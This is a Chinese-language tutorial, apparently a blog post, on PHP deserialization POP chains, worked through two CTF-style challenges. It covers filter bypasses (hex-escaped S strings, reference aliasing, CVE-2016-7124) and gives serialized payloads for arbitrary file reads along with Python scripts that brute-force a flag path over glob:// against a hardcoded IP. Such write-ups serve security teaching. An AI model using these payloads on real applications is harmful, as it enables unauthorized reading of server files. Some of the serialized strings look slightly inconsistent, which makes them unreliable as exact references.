欢迎您访问 最编程 本站为您分享编程语言代码,编程技术文章!
您现在的位置是: 首页

PHP反序列化技巧实战:构建POPCallback链的示例

最编程 2024-07-20 22:20:11
...

一、POP链简介

1、POP 面向属性编程(Property-Oriented Programing) 常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的。类似于PWN中的ROP,有时候反序列化一个对象时,由它调用的__wakeup()中又去调用了其他的对象,由此可以溯源而上,利用一次次的“gadget”找到漏洞点。
2、POP CHAIN:把魔术方法作为最开始的小组件,然后在魔术方法中调用其他函数(小组件),通过寻找相同名字的函数,再与类中的敏感函数和属性相关联,就是POP CHAIN 。此时类中所有的敏感属性都属于可控的。当unserialize()传入的参数可控,便可以通过反序列化漏洞控制POP CHAIN达到利用特定漏洞的效果。

二、POP链利用技巧

1、一些有用的POP链中出现的方法:

- 命令执行:exec()、passthru()、popen()、system()
- 文件操作:file_put_contents()、file_get_contents()、unlink()

2、反序列化中为了避免信息丢失,使用大写S支持字符串的编码。PHP 为了更加方便进行反序列化 Payload 的 传输与显示(避免丢失某些控制字符等信息),我们可以在序列化内容中用大写S表示字符串,此时这 个字符串就支持将后面的字符串用16进制表示,使用如下形式即可绕过,即:

s:4:"user"; -> S:4:"use\72";

3、深浅copy:在 php中如果我们使用 & 对变量A的值指向变量B,这个时候是属于浅拷贝,当变量B改变时,变量A也会跟着改变。在被反序列化的对象的某些变量被过滤了,但是其他变量可控的情况下,就可以利用浅拷贝来绕过过滤。
4、配合PHP伪协议实现文件包含、命令执行等漏洞。如glob:// 伪协议查找匹配的文件路径模式。

三、课堂实例

1、PHP反序列化题目1

(1)源码

<?php
// 题目中的第一个Class
class MyDirectory {
    public $name; 
    public function __construct($name) {
        $this->name = $name;
    }
    public function __toString(){
        $num = count(scandir($this->name)); 
        if($num > 0){
            return "count $num files"; 
        } else {
// C限制点
            return "flag path is /flag_{{uuid}}"; 
        }
    }
}
 
// 题目中的第二个Class 
class MyFile {
    public $name;
    public $user;
    public function __construct($name, $user) {
        $this->name = $name;
        $this->user = $user; 
    }
    public function __toString(){
        return file_get_contents($this->name);
    }
// B限制点
    public function __wakeup(){
        if(stristr($this->name, "flag")!==False) 
            $this->name = "/etc/hostname";
        else
            $this->name = "/etc/passwd"; 
        if(isset($_GET['user'])) {
            $this->user = $_GET['user']; 
        }
    }
    public function __destruct() {
        echo $this; 
    }
}
 
//题目中的限制 
if(isset($_GET['input'])){
    $input = $_GET['input']; 
// A限制点
    if(stristr($input, 'user')!==False){
        die('Hacker'); 
    } else {
        unserialize($input);
    }
}else { 
    highlight_file(__FILE__);
}

(2)限制点

  • A:输入时候会检查参数中是否有 user 字符串。使用s:4:"user"; -> S:4:"use\72";绕过。
  • B:输入的 MyFile->name 会被 __wakeup 中替换掉,而修改属性绕过 __wakeup 的办法需要7.0.10以前,这里不适用。发现$this->user 的值是可控的,利用浅copy来绕过过滤。
  • C:无法直接获取文件名。配合glob://协议来侧信道出flag的文件名字。
    (3)POP链构造


    任意文件读
<?php 
class MyFile {
    public $name='/etc/hosts';
    public $user=''; 
}

$a = new MyFile(); 
$a->name = &$a->user; 
$b = serialize($a); 
$b = str_replace("user","use\\72",$b);
$b = str_replace("s","S",$b);
var_dump($b); 

// 得到序列化结果:
// O:6:"MyFile":2:{s:4:"name";s:0:"";S:4:"use\\72";R:2;}

// 文件任意读 payload:
// input=O:6:"MyFile":2: {s:4:"name";s:0:"";S:4:"us\65r";R:2;}&user=/proc/self/mounts

(4)获取flag文件名:
如果MyFile类的对象中变量name指向了MyDirectory类,那么在wakeup函数中的语句stristr会触发 MyDirectory的__toString函数,但是因为函数中的字符串返回是return的形式,调用是无法回显的,不能直接获得flag路径中的uuid部分。

<?php
class MyDirectory {
    public $name='glob:///flag_'; 
}
class MyFile {
    public $name='/etc/hostname'; 
    public $user='';
}
$a = new MyFile();
$a->name = new MyDirectory();
$b = serialize($a);
var_dump($b);
// O:6:"MyFile":2:{s:4:"name";O:11:"MyDirectory":1:{s:4:"name";s:13:"glob:///flag_";}s:4:"user";s:0:"";}

因此需要利用返回的字符串中是否存在 flag 字符串,这里可以通过glob协议利用匹配符号进行猜解, glob协议能够查找匹配的文件路径模式,当目标匹配不存在时会返回⻓度为0的数组,因此在这个地方能够通过不同的回显进行盲注。如果存在该文件路径,则返回字符串中有flag字符,返回/etc/passwd页面。若不存在该文件路径,则返回字符串为"count $num files"中无flag字符,返回/etc/hostname页面。

import requests
url = 'http://124.16.75.162:31102/' 
flag = ''
for _ in range(1,40):
    for i in range(32,128):
        if i == 37 or i == 42 or i == 63:
            continue
        param = r'?input=O:6:"MyFile":2:{s:4:"name";O:11:"MyDirectory":1: {s:4:"name";s:'+str(14+_)+':"glob:///flag_'+flag+chr(i)+'%2a";}S:4:"us\\65r";s :0:"";}'
        # print(url+param)
        res = requests.get(url+param) 
        if 'root' in res.text:
            flag += chr(i)
            print(flag) 
# 最后得到路径
# flag_fecd0d9b-2852-497d-b829-0c5bf11c5021
2、PHP反序列化题目2

(1)源码

<?php 
error_reporting(0);
class MyDirectory {
    public $name;
    public function __construct($name) {
        $this->name = $name;
    }
    public function __toString(){
        $ans = array();
        $dir = new DirectoryIterator($this->name);
        foreach($dir as $file) {
            $ans[] = $file->__toString();
        }
        $num = count($ans);
        if($num > 0){
            return "count $num files,flag path is /flag_{{md5}}";
        } else {
            return "no dir";
        }
    }
}

class MyFile {
    public $name;
    public function __construct($name, $user) {
        $this->name = $name;
    }
    public function __toString(){
        return file_get_contents($this->name);
    }
    public function __wakeup(){
        if(stristr($this->name, "flag")!==False)
            $this->name = "/etc/hostname";
        else
            $this->name = "/etc/passwd";
    }
    public function __destruct() {
        echo $this;
    }
}

if(isset($_GET['input'])){
    $input = $_GET['input'];
    if(stristr($input, 'flag')!==False){
        die('Hacker');
    } else {
        unserialize($input);
    }
} else {
    highlight_file(__FILE__);
}

?>

(2)限制点
该题与上一题考点类似,但思路更为简单。

  • A:输入时候会检查参数中是否有 flag 字符串。使用s:4:"flag"; -> S:4:"fl\\61g";绕过。
  • B:wakeup绕过读文件。php版本为5.6,可通过CVE-2016-7124绕过__wakeup函数读文件。
  • C:找出flag路径。配合glob://协议来侧信道出flag的文件名字。
    (3)侧信道找出flag路径。
<?php
class MyFile {
    public $name='glob:///flag_'; 
}
class MyDirectory {
    public $name='/etc/hostname'; 
}
$a = new MyFile();
$a->name = new MyDirectory();
$b = serialize($a);
var_dump($b);
// O:6:"MyFile":2:{s:4:"name";O:11:"MyDirectory":1:{s:4:"name";s:13:"glob:///flag_";}s:4:"user";s:0:"";}
import requests
url = 'http://124.16.75.162:31025/' 
flag = ''
for _ in range(1,40):
    for i in '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ':
        param = r'?input=O:6:"MyFile":1:{s:4:"name";O:11:"MyDirectory":1: {s:4:"name";S:'+str(14+_)+':"glob:///fl\\61g_'+flag+str(i)+'%2a";}}'
        res = requests.get(url+param)
        # print(res.text)
        if 'root' not in res.text: 
            flag += str(i)
            print(flag)
            break
# e8688a175ca54ff6b0858f91845cbff5

(4)php版本为5.6,可通过CVE-2016-7124绕过__wakeup函数读文件。

<?php
class MyFile {
    public $name='/flag_e8688a175ca54ff6b0858f91845cbff5'; 
}
$a = new MyFile();
$b = serialize($a);
$b = str_replace("flag","fl\\61g",$b);
var_dump($b);
// payload : O:6:"MyFile":2:{s:4:"name";S:38:"/fl\61g_e8688a175ca54ff6b0858f91845cbff5";}